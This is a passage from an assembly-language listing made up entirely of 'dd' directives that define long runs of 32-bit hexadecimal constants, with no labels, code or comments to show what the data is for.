192AC37Dh, 0E01C1E33h, 0A8876176h, 9E67BDA8h dd 408902F0h, 0A35FD35Ah, 0EBFB9942h, 877BE697h, 0B0187E2Ch dd 21B0148Fh, 3469ECA0h, 106A620Bh, 4564886Eh, 0D66AB1C5h dd 4BFF2110h, 0AE307A6Eh, 8D7FC964h, 0C473E57Eh, 0EA96EB45h dd 0C6027EB3h, 755ACAFFh, 7DCAD92Dh, 60DAA6B2h, 0D67D2C22h dd 368176C9h, 0D96A18EFh, 0A344AD38h, 0D638B23h, 2944235Bh dd 40B3E843h, 461AEF26h, 11506160h, 1005BFF5h, 44B14A62h dd 0EFAB30ACh, 5DED397Bh, 6C2C73A7h, 76F39BEAh, 0E515769Bh dd 11C07D37h, 61DADD27h, 0F498DCF2h, 0DC5E064h, 0E9B2467Dh dd 11B682B6h, 64E6C451h, 0B3D183DFh, 6F8A13A5h, 0B8DF1E5Fh dd 603E0DCDh, 0B92265C6h, 689C6436h, 456EDED4h, 550CCBBFh dd 0FE76C795h, 0B8BC24D1h, 56599C38h, 57AF0ECBh, 115F3A2Fh dd 0E77CB778h, 0A24BD4D1h, 0DB2DE7B1h, 9A289DDEh, 0B8551181h dd 775156C3h, 7C49836Dh, 21ABF7C0h, 0ACCE7366h, 1F074F28h dd 0A6FB3438h, 955E5118h, 2BD994D2h, 9DB8E405h, 0A974B875h dd 0F8EB655Ch, 3DA3BDF1h, 8340107Eh, 783F6EC3h, 68F4C092h dd 0BC6492EEh, 7447798Bh dd 0C60731B7h, 2861824Fh, 0C3C6AEACh, 6D06273Fh, 0D8DFD85h dd 0B98F6F94h, 85B72A0Eh, 61991A75h, 4AE41F0Ah, 0C52A0005h dd 9DAA9111h, 0F8285FDEh, 4102C28Eh, 612FF816h, 3B629785h dd 8B2C7506h, 27AE329h, 114B2FB8h, 21C8B977h, 0C7CD3B0Dh dd 54F21109h, 0F20A9766h, 9D36A184h, 30BD301Ch, 9274F237h dd 96229CA5h, 93BA305Fh, 5E49BB9h, 20D8B98Ch, 0A1715A84h dd 58600CAEh, 58F068E0h, 0CB634C11h, 0B7A1D5Fh, 5F4DDE2Ah dd 0F79949EAh, 838E3EB0h, 7C93F209h, 83DB1F0h, 0C2576928h dd 0CF3033A9h, 0AFEF4640h, 1EB2B786h, 0C8C64E52h, 0EEBD33D8h dd 27E7EB99h, 7BEE7F16h, 2B59F569h, 0BFFBB3A1h, 0BA1B897Ch dd 34C6B8Fh, 74C0A66Ah, 357B69C9h, 0A3D1570Ch, 2CE99A76h dd 83A32CB6h, 94CBF802h, 78462274h, 3249B7CBh, 3D497021h dd 2385A65Dh, 6BA9B147h, 166BCA19h, 9B99740Ch, 0B0A20760h dd 0CB7888Ah, 6B1ED317h, 5C1F7E3Fh, 68CA0C16h, 5F33FDFDh dd 7947D2DAh, 13B659A3h, 5C0A1594h, 0E1BD879Fh, 0BCCD5D0Bh dd 696CC1EBh, 50532633h, 8E1530A3h, 0DCCE268h, 366B6AEAh dd 49391CC1h, 3607B78Bh, 1A47DBB5h, 0C233C9CCh, 4C20D4B6h dd 4646A07Fh, 0DF75FA6Ch, 0F73DA2F7h, 325FC3DAh, 4E83E7Fh dd 795428B9h, 0ADDDA736h, 51ABB66Dh, 96B1E42Fh, 30DF2650h dd 88D75351h, 0C49728D5h, 504892F1h, 0D590EA3Fh, 6C30BA22h dd 0B307930Ch, 5326BCD7h, 0BED680F9h, 1C44233Eh, 6799596Ch dd 0EEF3C6B0h, 0AF30BBFDh, 1F3A833h, 1314EE57h, 4AFDBB8h dd 0D459D6D9h, 869F12B7h, 0FF390AE7h, 9EBCD425h, 7D914F02h dd 499BC3F5h, 33DFFDCAh, 0FDC64A31h, 0F8CF9D33h, 0C864C344h dd 0EAFB48E2h, 10D75B40h, 0BE14A839h, 8235DF51h, 9D0FABEEh dd 0C157E63Ah, 81CB0EF4h, 0C9AF54F5h, 7341FC4Bh, 2B34DAF8h dd 0A75F0F9Bh, 9BD13AC0h, 13BEDE9Bh, 2DB92CCCh, 3B518CA7h dd 0C436D2B1h, 0B0D1C873h, 3BE77AB5h, 0A6DD57E6h, 10B71E3h dd 0D5738931h, 824A8C31h, 320B855Fh, 0DEE3426Dh, 284210AAh dd 3352A427h, 18EF91E9h, 4BDEEF0h, 9246312Dh, 381BC1F7h dd 0C484BAACh, 460DF384h, 7D9217D0h, 0A30FCCEDh, 0BC51F73h dd 82EFEEAh, 0D9FF79F9h, 0A7738A34h, 0CEC0E3CDh, 0F0DC307Bh dd 401F0A85h, 0B3DB0680h, 230262ECh, 263D3C03h, 5ED85635h dd 0CD80A3D8h, 8EBD06E5h, 758E9B22h, 3CBAAB42h, 0DE98AD9Bh dd 0CA50D8E1h, 0A5BCE3AAh, 6C7FCEDDh, 92DEEA8Bh, 31EF5237h dd 2701CDBEh, 301B085h, 32EF1A73h, 0DCCF01D5h, 0AE0297B4h dd 87F6E1ECh, 78FC0334h, 77741269h, 0BB2302h, 1CCC7064h dd 41DA2A3Eh, 3E0B4CFDh, 0BF5D90E9h, 0CE9ED60Ah, 1D65C53Dh dd 9612A53Eh, 817C4FFCh, 4BB28FB9h, 5492DC04h, 0E425FC53h dd 0B0208E15h, 20FEF8C3h, 9B5355BCh, 4D147DDEh, 0FF10EAB2h dd 7EA49195h, 0B1C5836h, 750F78EEh, 9E744961h, 0F6467CDFh dd 0CEE3F2F5h, 3032CB71h, 0A01298AEh, 2E97A67Fh, 592BB6E1h dd 47A9EA67h, 98ED8EFDh, 2CDDE174h, 0E4D6ADEFh, 0DBE1A6CBh dd 0FD651B57h, 30A7AE61h, 0C613371Ch, 297576DFh, 147B6C60h dd 9D7E195Dh, 72B48A0Fh, 0F195F2ADh, 0E5A03728h, 0DEF1EEB3h dd 0F60E1334h, 3D731F9Bh, 9C99AEE7h, 6011705Fh, 683BEF07h dd 43FC4632h, 509019D9h, 25017480h, 0FC65A5DBh, 720127FEh dd 0A1E56333h, 613DF0F9h, 631FA77Ah, 6F27C377h, 0DA061AC2h dd 99998C0Fh, 382559CFh, 378BDBB2h, 7A2140E8h, 10E6FE08h dd 9192323Eh, 69FBAD2Dh, 99466362h, 1FBF9BD2h, 1B35F5E1h dd 0B6656AFAh, 2A97B1C9h, 5426B9E3h, 25638750h, 89F8ECF2h dd 0A0BE7D27h, 31E43179h, 5E96DB04h, 0E87C171Dh, 0C3980B1Eh dd 68C39090h, 0CEE5E041h, 0C4598723h, 0B1B8983Bh, 470A706Eh dd 0B6AEE4CCh, 0D4D32E73h, 0D3D10B07h, 66D3E38Ch, 3782F27Bh dd 41F4D399h, 8DAE3C2Bh, 6579AB63h, 0CFACFB10h, 0F58D8857h dd 8915213Ch, 3A7981ABh, 70AA89F9h, 0A0D57C75h, 0F291C04Eh dd 0DB9A4885h, 4C894683h, 5FDA8AB0h, 372CE1C9h, 0C085A3B7h dd 0C490C5E2h, 81892BA0h, 373CD455h, 0E1EAC746h, 0BE0DB4Ah dd 0E501F3F6h, 57BFEAFEh, 0BB75B258h, 7737D200h, 29DFC9D9h dd 97EA2F38h, 9C215109h, 65B99BDBh, 0EF102A62h, 9EAB260Fh dd 9CEEC18h, 15A929F6h, 0B9298427h, 722733D0h, 9BBA298Ah dd 0AAC55AD3h, 3F702B25h, 0CD4C0B64h, 0C18888C6h, 696FAA68h dd 571FFD2Dh, 5304B4Fh, 0BF6FC2C9h, 0EC6AE934h, 0ECF77299h dd 0DC55D0C4h, 352745F7h, 14F69CD1h, 30A55849h, 0B1E7DC74h dd 961962Eh, 8455BA21h, 0B66D211Fh, 0C3D7948Bh, 1480BCD2h dd 5A742CFh, 0C6917E1Bh, 88AE85D5h, 0BB7A4B06h, 0F28BA40Dh dd 0D3B5C032h, 18773BCAh, 74030B7h, 85D7B7Fh, 854E5846h dd 8BE46FBFh, 0A93AFF43h, 37143E7Eh, 0DA3A818Dh, 1A0827CBh dd 114E4E3Dh, 8EFCD3F3h, 6ED17A11h, 0C4CC7510h, 92689589h dd 10D3E040h, 5B69F74Eh, 32F43461h, 0C7B06D5Ch, 328149A4h dd 8D507A4Bh, 3A6ED6ACh, 9AE12235h, 922914EEh, 92C67015h dd 5804B864h, 66375AEFh, 1E6AC7A4h, 24B5F7A6h, 0F848353h dd 24398905h, 319F85F9h, 72755DFCh, 91B65050h, 301343D5h dd 1A745271h, 0B9F5874Bh, 0F4A20114h, 7CD3BF4Dh, 0BE9E9910h dd 2AD41Fh, 0BFF11B3h, 845855BEh, 0A84CFA24h, 71C89701h dd 0A9479981h, 4FD07070h, 0A595FDA2h, 0D1465FDh, 67391656h dd 6AB465C5h, 3D5B8259h, 4C2FB482h, 0B0510FC3h, 0CB81DB3Bh dd 76CFBC73h, 88D3300Ch, 346917D8h, 0DFD64220h, 0B2F45953h dd 0C0F10AF2h, 419EE6C6h, 4D8ED9C5h, 8D77549Ch, 0B5EDBD6Ch dd 6552A28Dh, 0BD759DB8h, 9FBCEE19h, 500E6F74h, 85E78867h dd 0FE492B39h, 87BB907Dh, 0BDF4765Fh, 0CE6D85B7h, 9118BDADh dd 7B54A4FAh, 0F232A0B7h, 5B066967h, 551B46D4h, 6C3E7D4Ch dd 0CF9D62B9h, 43306BE9h, 3027EF96h, 3DB4693Ah, 48834778h dd 5A3212D2h, 93FA024Ah, 0DA017937h, 1BF62BBh, 5F547775h dd 0E4A0970Eh, 0AEC3AACAh, 962017F8h, 1B3477B8h, 6AAE99F3h dd 802AE93h, 73745463h, 8D948B19h, 6A12BB96h, 0C39FED8Bh dd 0A33E78EAh, 6D887E11h, 84EDB03Dh, 8581AEC7h, 0D89DCA1Dh dd 2DD7143h, 31F15C8Ah, 0A046DEA8h, 0C5A810BEh, 0AC10F34Eh dd 0A307230h, 699174F6h, 69BDBFA9h, 6DC06604h, 0FCA26488h dd 0F2FF5852h, 177E213Bh, 7DA88BFAh, 0F1341029h, 0FCD99368h dd 0C35168B1h, 329A41E4h, 0CDA0452h, 0E8FD8D42h, 796CBFD6h dd 0EC69981Ah, 6FE282EBh, 3AFD15Bh, 159DCFh, 0D7F25AAFh dd 8A01524Fh, 0D5990125h, 7CDD9946h, 9B0AE7F1h, 75DA14B6h dd 0A68766FBh, 0FFF5A393h, 0BFF1597Fh, 0BC2387B1h, 0EC64E372h dd 7718C248h, 0C490A482h, 7187D286h, 0E2AAB2FEh, 8A5E9D73h dd 5292FA34h, 0F3F70DB2h, 0C3F830DDh, 0CBB08807h, 0ADDD4109h dd 438ECDD5h, 4172C77Bh, 0B98CB4DEh, 6D90EA3Dh, 46264A87h dd 60648790h, 7B79852Dh, 6B9F9A38h, 0A66D3140h, 560027E6h dd 0A2F53559h, 1C15E8FEh, 0FCD3902Ah, 0F1D3C500h, 6A77A300h dd 571176BAh, 0F9C3485Eh, 62D3629Dh, 8BECF1A9h, 0B6F1B26Fh dd 0DC675C8Ch, 0A984C085h, 0F006DC65h, 0CD4CD631h, 0DBF5A34Bh dd 0E9F5FEE8h, 876B3810h, 9DCC7397h, 92284ED7h, 0E4AC554h dd 8A84BD6Ch, 96668A09h dd 3FF8FA79h, 2C4C0291h, 2BFFF076h, 29156593h, 942708D0h dd 0D4AE9190h, 4C88A422h, 0B9D2D896h, 1E755C03h, 90D3562Fh dd 0BDF8F6FBh, 0AAA6E9Ch, 52F0E317h, 55C15410h, 6E68BAACh dd 0E6C824E5h, 0BD4A81CAh, 3B5F01Bh, 71788E1Bh, 5229A878h dd 6F6313E8h, 0F79D9A9Dh, 6CCF5CCDh, 28F13A7Eh, 0D4A6D142h dd 3072C6h, 0E6EE81B3h, 7455DA05h, 48D60091h, 8FF520ACh dd 0D3E061Fh, 0EB098D1Ch, 0A3CB5C38h, 0DC7306B8h, 4EEFD233h dd 303AD11Eh, 0B2F4437Bh, 0EE83856Ch, 1BA84AF7h, 6CD54B7Bh dd 8B1D5015h, 0B6022A19h, 0D75824F9h, 395076F0h, 5980C86Bh dd 0D7A513ECh, 4404008Ah, 70EEEB29h, 0DAECC89Bh, 0EE65145Bh dd 5BF64967h, 86CC70F0h, 0D6B9D8F6h, 0BEF36CA0h, 0DC89BD5h dd 3EB07D6Ah, 12EA0h, 1988EF5Ch, 1B8BE6E6h, 28A08302h dd 0A8A488ECh, 0F70E4473h, 4ACE2B13h, 0DC6DDFFDh, 3CE1B24Ch dd 609E29E5h, 32833E57h, 0BD71858Eh, 38E6C445h, 0A097E0C8h dd 6FF503C5h, 870649D4h, 0E019939Ah, 0D28F968Bh, 731D51D3h dd 415E6376h, 91683F29h, 3C8EA6F7h, 732A1414h, 0AA851293h dd 30E18F53h, 0D2C25270h, 0F1CB3BADh, 0ED3EE485h, 74869717h dd 0C257427Eh, 435B9EE2h, 5B91FB42h, 7008FEEBh, 0F67463EBh dd 0FD47D20Ch, 29F73F0Ah, 53122060h, 5E004E93h, 98CA08CFh dd 5D140BBEh, 0E40CE70Eh, 0D623ED8Dh, 161F6380h, 0AC689AC5h dd 0C15D0B27h, 418E6EABh, 6E7F4F6Fh, 0A8345548h, 0DC668EDCh dd 4847399Ch, 17926019h, 0C0A1907Bh, 8411F81Bh, 81B9C2A8h dd 0C58A467Ch, 0DC499EABh, 62339F9h, 0AAB3AF82h, 9936A7h dd 0A97C4082h, 46CA9A7h, 86786F4Ah, 6708DD39h, 554BD2F7h dd 6ECB6AC9h, 0B5EE11B5h, 0E134A829h, 3E40F234h, 61D819AEh dd 0E235ECEDh, 0B4BB171h, 8FB42247h, 8FA193Eh, 0ADBBE389h dd 8FE676E0h, 6AF32EDFh, 0A74CF948h, 84839A6Fh, 2CD93BCh dd 88F2E308h, 0A49E0870h, 1B8BE3E2h, 0A14B7BE9h, 19DD84E3h dd 883A1666h, 0B9C09E17h, 121F40CFh, 9D3E672Fh, 32B601C4h dd 719D5B21h, 670EE367h, 9006E519h, 4435BE9h, 0D36CE319h dd 0FE349522h, 4B13B1C0h, 0E66010E2h, 6F448949h, 1D178557h dd 76E7765Fh, 1267D1B8h, 335FAFC6h, 0DFB3E7A5h, 4921AF93h dd 1E4372E2h, 46C77F84h, 0D0C16130h, 39D9E307h, 52132AC6h dd 0D9B7477Bh, 53893CA1h, 5B2ECC0Fh, 1487A43Dh, 781A298h dd 42BA1B24h, 8D2068B3h, 1E8A5CB8h, 0D99F94BEh, 1BE13CB2h dd 2BF7FB93h, 0D3B7F883h, 71A051DDh, 82DEF8AAh, 89863C7Ch dd 86CA47A3h, 0B5E15E27h, 0A3B678B3h, 11C9CD56h, 0CEAAEFCBh dd 0CA45486Bh, 31D5830Bh, 0B5F39D76h, 0EB772479h, 0E363AC4h dd 0DE5CD5DAh, 0AAA412FDh, 7FCA9EE9h, 0CAF4A379h, 0EE0E8A5Fh dd 216BABBCh, 6A8114EFh, 80AAE597h, 665BD27Ch, 61C9B61h dd 0DD88C61Ah, 4D08A908h, 74A3D366h, 0F67F3C7Eh, 2923649h dd 567D31EAh, 57546705h, 9EA89EAh, 3F4A03D1h, 0ACBC5098h dd 4A29B1A3h, 9A14D1D9h, 185808B5h, 77A4ABE8h, 9D8354ABh dd 0BAF633BAh, 0FB50E86Fh, 0E27C6FAh, 0FC40A630h, 7DDE9EE0h dd 7AEE7756h, 0CABC28C0h, 0F8E6C8E4h, 0AAF0671h, 491A05C5h dd 722FABCCh, 223285D3h, 988519Eh, 2F9BA70Ch, 8C1F2A78h dd 0A0FCD1FBh, 0CB988675h, 7DA625C5h, 8BA5DCF6h, 0FDA782E2h dd 857C19A1h, 0B50527DCh, 0C22F9DCh, 0E8B07FC5h, 0C8C04E8Ch dd 64C7914Ah, 9A72E4F6h, 0CD1379A2h, 7712FC4Ah, 0F70EBBE3h dd 827E0C5Bh, 57518E9Ah, 0AC0AE3D4h, 1C81E15h, 1879AC09h dd 0DA318DC1h, 0A989C13Ch, 31642F34h, 0C36A7B45h, 8C87EF1Ch dd 380A6151h, 199A86A7h, 0CEDE2635h, 74B1DCE5h, 0CCC1535Bh dd 316300B2h, 4413FC3Bh, 9A602C5Ah, 59388010h, 66FB1FEEh dd 0E672017h, 8D2B20EAh, 0A7C0F7Eh, 0BF1B7AD1h, 0BE12C1DAh dd 61C3F406h, 0DFE5D3F5h, 9F236352h, 0CD9917C7h, 36E47B7Ch dd 426AE0CDh, 862AB2D6h, 0DAB9828Ch, 0F71E2536h, 33166DFFh dd 8408CB2h, 90B45F26h, 91D41C21h, 0AFF4B424h, 5A8AE40Eh dd 9A522E52h, 0E5D07320h, 2083BB65h, 3A439843h, 0C2338FDCh dd 373F1A9Fh, 5EEA364Ch, 5C082986h, 0D52A15EBh, 0ED0967F7h dd 2C686BFCh, 0E449387Eh, 0DA941F72h, 70FAD738h, 45DD6B14h dd 0D61F9F60h, 5A40B570h, 9184AD5Ah, 65CB1E5Ah, 5C0BC987h dd 4536616Ch, 5DB5A540h, 351397DBh, 0BF314950h, 3DB70299h dd 7D9D6E90h, 4A886BB8h, 52A49131h, 0C1D0A00Ah, 596E6622h dd 305F8748h, 0B860C41Bh, 0ECDB5F8Ah, 0ED75EFD6h, 0D736CBB6h dd 0B40A2AFFh, 5577394Dh, 2B7E6764h, 0A604396h, 0BC340A3Bh dd 0DE9E420Ch, 0B9E6033Bh, 235FDFE5h, 0A1D1C68Dh, 6DB201A5h dd 0B551BAFFh, 4A87334h, 63F51520h, 3AC31B4Ah, 0F5BFA3ADh dd 96EEEB91h, 0F5EDE77Ch, 48D94EEh, 80427296h, 2C9B96B4h dd 2A8F96EAh, 0A6881FC6h, 87037089h, 0DF8A0BFAh, 32FED2FBh dd 0CA77BB80h, 2B8DDAC5h, 0EAAB1EAFh, 2AE592D5h, 0A0290EE2h dd 0CD4C4C7Eh, 10192587h, 0CE3AD836h, 47D04AA4h, 0EEC7BC74h dd 8FF3B4E1h, 0CD77FBD6h, 6AC2A9A6h, 0C3610855h, 477DB914h dd 5406C5D8h, 8BA8CABh, 0F8F7C727h, 8A5C9365h, 0AAD0123Bh dd 8AB1E38Ch, 5A2D129Ch, 94D12074h, 0C7B8185Ah, 460274AFh dd 3B3B2036h, 147150CBh, 0D2098273h, 0B859FCF3h, 6B9C6FB6h dd 67790D20h, 99C8E069h, 0C1EEFF15h, 8448810Ah, 7ECF88DDh dd 0D507EB96h, 1FD4BCB7h, 61F27D0h, 0F6C2E046h, 2A748201h dd 0B67893C0h, 2900195Fh, 0E18EBDA5h, 0F0BDCC18h, 9D7997CCh dd 0AA85DE33h, 8C2F3598h, 69AD4F19h, 95E0D58Fh, 0D42FEC62h dd 0ACA5B910h, 5ACCCDC8h, 0C539B518h, 1C1DFD3Ch, 43BE40B6h dd 3E8F0E45h, 508DDC91h, 7ECDA5D6h, 0E7A6E21Bh, 6E83D40Fh dd 0AD620136h, 6BC85E4Eh, 234CD195h, 7972F320h, 445299CCh dd 0C04C1C67h, 2CE71D57h, 2D821AB4h, 1B4F3664h, 35B09127h dd 8F3B8B7Ah, 0A46CDE27h, 6948EF5Dh, 0E786C1A3h, 0D2EAF692h dd 64B49556h, 0CC7B14D9h, 251A131Fh, 0D4A2974h, 2A5AF00Ah dd 7951CF9Dh, 0EB1D5506h, 0BC44290Dh, 2807C9B8h, 16596850h dd 5AB277C4h, 0B8FCD282h, 0EA36C3E5h, 22D93BF2h, 0BD6B7AF6h dd 0BEE5CBAh, 8C850BCFh, 0A62485AEh, 5D4CF59Eh, 0ED1A24A9h dd 9FDE480Bh, 0FE42398Ah, 0F7E94E9Ah, 58CB927Ah, 1228EF8Ch dd 99DAA8FAh, 6653667Eh, 0CBECF4F0h, 0A9D59183h, 6FC5FF7Ch dd 0EB4B127Fh, 0BD276EA3h, 55920521h, 0D4195DB5h, 0CAC36865h dd 245323A7h, 80EE74A7h, 0B43E3D6Ah, 5C947D06h, 0A49FBDD1h dd 9C227FA7h, 52557789h, 8DF07A6Dh, 9616AB46h, 37006071h dd 216D644h, 0A394950Dh, 0C0E6B09Eh, 0FF29AA09h, 0BEFD0A82h dd 0C0664E17h, 0BE211242h, 0F6D8203Dh, 11EFCEB4h, 0D64E587Eh dd 662CEF8Bh, 9708BCB6h, 0B6C30394h, 423CE6CBh, 47C0C866h dd 0A7490D13h, 74F4E0FFh, 0CE92C976h, 1B2A50F0h, 0E73A8F43h dd 0A54700A1h, 7BB65365h, 23252F8Dh, 29600F81h, 68F26283h dd 7DCBC031h, 332E957Ah, 0F27A15C9h, 0CA99B2E5h, 836E656h dd 92C7C659h, 7E4E7E04h, 0A7F6F36h, 0A8ECEEBh, 66B9986Fh dd 0DFC4443Ah, 4B25F10Eh, 0CCD719Eh, 425D49F8h, 3F0E77A6h dd 271440F9h, 0F1947F55h, 6635868Dh, 0A218B76Eh, 89D2CE9Ch dd 0C6E49390h, 80AE4733h dd 5E51D9h, 0BCDBEE2Fh, 5A2AF07Eh, 0DB4412F9h, 0F0BDF497h dd 87DE8914h, 79C3D3BAh, 33FF4C15h, 0E3D78178h, 0FDD44B9Ah dd 3B591237h, 4E59CF6h, 7E656915h, 71B1CC17h, 3F36529h dd 0D4C822BEh, 0AA75780Ch, 0BAB6B0B5h, 747F0110h, 92C41644h dd 86CFD295h, 38BF1A8Bh, 0C8F5FE97h, 0C95A643Dh, 847E5194h dd 0CB9556E3h, 0C6FC35E8h, 0A607D27Fh, 0F7F8A39Bh, 8AA3993Ah dd 0C262142Dh, 9FBB07B9h, 6AAE05F3h, 0A4CD94E0h, 9FD8F0F4h dd 0C3CF1FFFh, 8905C9D2h, 6572BF5Dh, 0F24AB80Fh, 0CA2B2382h dd 8E541A9Ah, 0DAFC2DA6h, 0C423D5B5h, 92DAB3F2h, 0F710E8A3h dd 0BC1B82B3h, 59C3B0BAh, 824F8BF9h, 2EBD72B8h, 0D741A81Fh dd 0AE37C295h, 6322D2A0h, 8EA41C5Dh, 0FC27F5D5h, 88627ECBh dd 0D5CE0121h, 4B3ABF02h, 6E18131Dh, 18E79FD7h, 7B9D3FCAh dd 4F71D0C8h, 4B7DCF6Fh, 0B86AA200h, 0B07DF224h, 0D10007AAh dd 277C0CB3h, 2FCEF57Ah, 0C3AB924Dh, 35B019DCh, 10C16686h dd 272BF365h, 0BB5C83A3h, 9E3F1D88h, 0A89FDC11h, 0C97D39A8h dd 71E2BD4Ch, 7D40677Bh, 8AFE9923h, 0C8E78ED8h, 0A79666A8h dd 50FF610Fh, 95FB75A1h, 0E5792841h, 0A66CFF38h, 9102D6B4h dd 70D6C0CCh, 0F288BD48h, 0B124D106h, 4CE3D19Bh, 0B690F835h dd 66B6E0B6h, 15DE71B6h, 0A81B0CDAh, 9D8A31B0h, 0F7636752h dd 98B6E312h, 0B7383D71h, 0B04A4E86h, 64EB266Dh, 578EC4B2h dd 29AACE48h, 0F9851FE0h, 0CDA75229h, 674A7A10h, 0C489B0BCh dd 0DB00FB6Ah, 18324075h, 21FB6F1Ch, 0D8CEC6E3h, 0C950DA41h dd 1DDA0E0Eh, 113A3DCAh, 0C70E27BCh, 0C195FB62h, 0A0797249h dd 37564056h, 0EB115FA3h, 0CCD6ED67h, 927490A0h, 0BF178FFAh dd 8B0937FEh, 89ECBE02h, 0FBDB2ACFh, 4CFBC7B1h, 52A3F703h dd 4BF5FF95h, 857A16ECh, 0F1677F66h, 76EAFB53h, 59F27CE9h dd 651BF2DCh, 7C41DB20h, 7361D528h, 60AAD887h, 920F8B63h dd 16D666D9h, 26036DE8h, 0EE2F4488h, 0CC54F905h, 0CEEAF9E7h dd 27B0D4Ah, 3CB5E50h, 0C3D23E18h, 498B4E6Fh, 4A7F2319h dd 61F2E17Ah, 0EC9522E2h, 0D31CD545h, 0A2DD13B8h, 6DC421C3h dd 2C285E46h, 893FDAFCh, 0CDF33A50h, 7CD2ED3Ch, 0D90AEBEFh dd 53C0967h, 0B83049C5h, 9F1B4724h, 0CF64C368h, 0FEE12D57h dd 0DE0721Fh, 4D15330Fh, 78304A33h, 5907B327h, 4AFA2588h dd 0D40EF887h, 7C5833CFh, 408A970Bh, 0A7AE2AECh, 9EBA64D6h dd 0B36D87B0h, 1C20135h, 0BCA2A6ADh, 0A717A50Bh, 0E55F8358h dd 8206CB65h, 0C056A52Dh, 5E870ADh, 581F8587h, 2E5392DCh dd 0E4241EC0h, 0A11D63A2h, 0B79C9B18h, 0FC3165C1h, 0A4071C43h dd 0C864DBBCh, 17C4064Dh, 0E88D8467h, 0B33DBA01h, 47B4413h dd 4248A0D0h, 5511FD17h, 0E40F1E2Ch, 0ADAB1B49h, 3CBF72E1h dd 4D505BF0h, 521432A0h, 55156FEDh, 154FF38Eh, 14143D47h dd 99422296h, 0A0BE5067h, 0D0FF8AE1h, 0FDB3BA26h, 7312BB22h dd 0FE4FA0B6h, 82D98A58h, 0DF92982Fh, 56BB0C71h, 0D7E1D37Fh dd 0B0F0D295h, 30AD9287h, 6589FAF9h, 509BF923h, 0BB6D0F0h dd 0E07F6A98h, 7715F5A4h, 1FE2D3FAh, 0CDBA256Ch, 2501BED8h dd 0FB54864Bh, 53E316F4h, 15938E9Ah, 8012669Ah, 0E3B09B94h dd 694051C1h, 0C87AD1Eh, 92E20D0Dh, 929CC5C9h, 0FB5C8BE6h dd 0DE408725h, 0BA3CB8F5h, 0B8ABD101h, 30BA8267h, 0B8F6EB3Eh dd 612ADCCh, 279A94B5h, 7ADD8219h, 74280A5Dh, 506A06CAh dd 0D50AB942h, 823CC6E9h, 9ECB5731h, 0B11DBB30h, 4A97C0B0h dd 30627F4Bh, 66E8BC6Eh, 90C9FEA5h, 68BB3389h, 87120F2h dd 6FFFE546h, 15C66AE0h, 0EE557186h, 0BE1BFBCAh, 6ADAED83h dd 3A92CD5Ch, 7F3EED0Ah, 13074E58h, 281053C5h, 0E35E07DFh dd 88F6E2CFh, 0EE18C758h, 9AA4A61h, 0F4CC9B34h, 68662686h dd 4E3986BFh, 57F04B9h, 989545CDh, 5CF3FA20h, 5D4DABB4h dd 0C79F0ABDh, 0CE041546h, 8D811DC5h, 10A99B40h, 6AC3023Fh dd 68E408E3h, 0F9647BC8h, 32A2A889h, 8AFE45E5h, 83D49600h dd 0D5F83140h, 9C431D26h, 5A589EE9h, 5A8E4D89h, 0F128A9E3h dd 411BA510h, 62B24392h, 1830446Ch, 6B69FF4Fh, 1FD0A964h dd 0AC71BB5Ch, 7051507Ch, 979752A2h, 0FF694h, 4D8A6CF7h dd 4910F80Ch, 84F45150h, 2B9E40D3h, 1C5F27DBh, 7FC41823h dd 6C0DC98Eh, 48C98A80h, 0E9DD35A9h, 0D4FC53A9h, 0F5F01210h dd 1B374478h, 0DAD0D1h, 912812BBh, 1160AE03h, 6B6CFB17h dd 0E6CFB8F1h, 12CED48Ch, 73A69A5Bh, 8E65845h, 122C09ACh dd 20152C8h, 7F6FBCDDh, 10F9C327h, 16C9EAA2h, 0F5F995B0h dd 95D27EF3h, 45D09EADh, 0D28E842Ch, 0ED2E72Ah, 3F1CC737h dd 79264D9h, 0DCECB87h, 0DCAC6515h, 0E5A9218Dh, 2F2726A8h dd 0A3BB6110h, 62937A90h, 0C08E4F1h, 0FFE4C995h, 8C2EA48Bh dd 3C9F68CAh, 0D1BDE1A5h, 0A4B3A09Ah, 565CB8BBh, 0F71834BAh dd 7410DDC6h, 7C2B4E3Bh, 0BFED378h, 0C4CF6EE3h, 7F054D18h dd 9C57735Ch, 0AA510530h, 866A72F7h, 29D24DFEh, 4CEF571Dh dd 6D7DD840h, 0EF9FDAD1h, 29F81FCBh, 3C221AB7h, 2518DB61h dd 0F497BFC9h, 98E6FBC5h, 8C45AF26h, 3F7E1C8Dh, 0C1E55A89h dd 8AD13752h, 5EF1D7DAh, 3348A889h, 0F8F185ECh, 0F6F51B9Bh dd 12CE3C59h, 74519B99h, 712B0DDCh, 346325B7h, 3215282Fh dd 0BAC4AB2Ah, 0B558671Ah, 622B66DFh, 0EB450DDDh, 958929A5h dd 0DB14253Ah, 0B296B5B0h, 0A93CC90Bh, 0DE76F243h, 26BAD3EBh dd 2A68D747h, 9E091806h, 0F241DB75h, 0F487B69Ah, 5E61F312h dd 4AC4737h, 0B0BF6F33h, 0F0AD1DD8h, 35C5FC77h, 4326BE3Eh dd 49B96145h, 86827DBFh, 2507EC0Dh, 12D42E45h, 0FBD842ACh dd 1F1A438Dh, 85AEB608h, 0CA4CB9E9h, 0FD6EA45Ah, 9BE6D784h dd 52B4A7ABh, 1C20FDA7h, 0F86B795Fh, 0A7F57445h, 7415CB30h dd 0BAEAF44Eh, 0EDD3C1B5h, 41F7761Ah, 552C10CFh, 6A10F441h dd 53FED30Ah, 3B32E6CFh, 0BBD69AE1h, 1D3ABE64h, 4E236F47h dd 83E5D641h, 0AA4F5765h, 9DB5ADC2h, 7B073CF7h, 8CF5DD7h dd 0DBA3B3E3h, 6B42D158h, 2EC12D78h, 30DA730Ah, 0BF078F4Eh dd 0F0614034h, 0B1B722D8h, 9D16AFA6h, 0D0245CF0h, 0AA4FF2Dh dd 536383E6h, 0FBA7FF9Bh, 6079950h, 67CA018Fh, 0B1DF9759h dd 0FB9F3F5h, 498E7DE0h, 999056C8h, 6479938Fh, 0C13109FFh dd 14E5142h, 8580D1F7h, 0CE2993D6h, 6AB423B4h, 9FC8571h dd 0C5191735h, 2DA2FF64h, 2383F8F0h, 0CF70EE5h, 7E054D06h dd 290BACD0h, 6F2233B4h, 0FE160C32h, 4038EC0Dh, 0ECB1B004h dd 33769A52h, 0F3241533h, 9198B256h, 0DEC9D4A8h, 0A7DE0FFBh dd 65A3863Eh, 9DD924Dh, 1862E55Dh, 2EC53FB2h, 0C5D19F0Fh dd 474A1876h, 8511021h, 0D820E203h, 0A488FBC8h, 0A77CD145h dd 4AE122ADh, 38FDBFE0h, 9CD63BBDh, 0B81911FBh, 7DEF9F32h dd 62989307h, 9947087h, 0A6BD6C12h, 